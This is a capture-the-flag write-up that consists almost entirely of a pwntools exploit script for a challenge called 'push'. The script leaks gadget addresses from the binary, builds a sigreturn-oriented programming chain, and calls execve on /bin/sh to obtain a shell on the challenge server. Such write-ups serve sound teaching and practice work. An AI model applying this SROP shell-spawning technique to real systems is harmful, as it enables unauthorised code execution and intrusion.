Tags: blind pwn srop 

Rating:

```python
from pwn import *

binary = args.BIN

context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)

gs = '''
continue
'''

def start():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
elif args.REMOTE:
return remote('0.cloud.chals.io', 21978)
else:
return process(e.path)

p = start()

p.recvuntil(b'<<< Push your way to /bin/sh at : ')
bin_sh = int(p.recvline(), 16)
info("BinSH = %s", hex(bin_sh))

p.sendline(b'Y')
p.recvuntil(b'push 0x58585858; ret | ')
pop_rax = int(p.recvline(), 16)+6
info("Pop RAX = %s", hex(pop_rax))

ret = pop_rax+1

p.sendline(b'Y')
p.recvuntil(b'push 0x0f050f05; ret | ')
syscall_ret = int(p.recvline(), 16)+4
info("Syscall RET = %s", hex(syscall_ret))

def srop_exec():
chain = p64(pop_rax)
chain += p64(0xf)
chain += p64(syscall_ret)

frame = SigreturnFrame(arch="amd64", kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rip = syscall_ret

return chain+bytes(frame)

pad = p64(ret)*20
chain = srop_exec()
p.sendline(pad+chain)

p.interactive()```

Original writeup (https://github.com/tj-oconnor/cyber-open-2022/blob/main/pwn/push/pwn-push.py).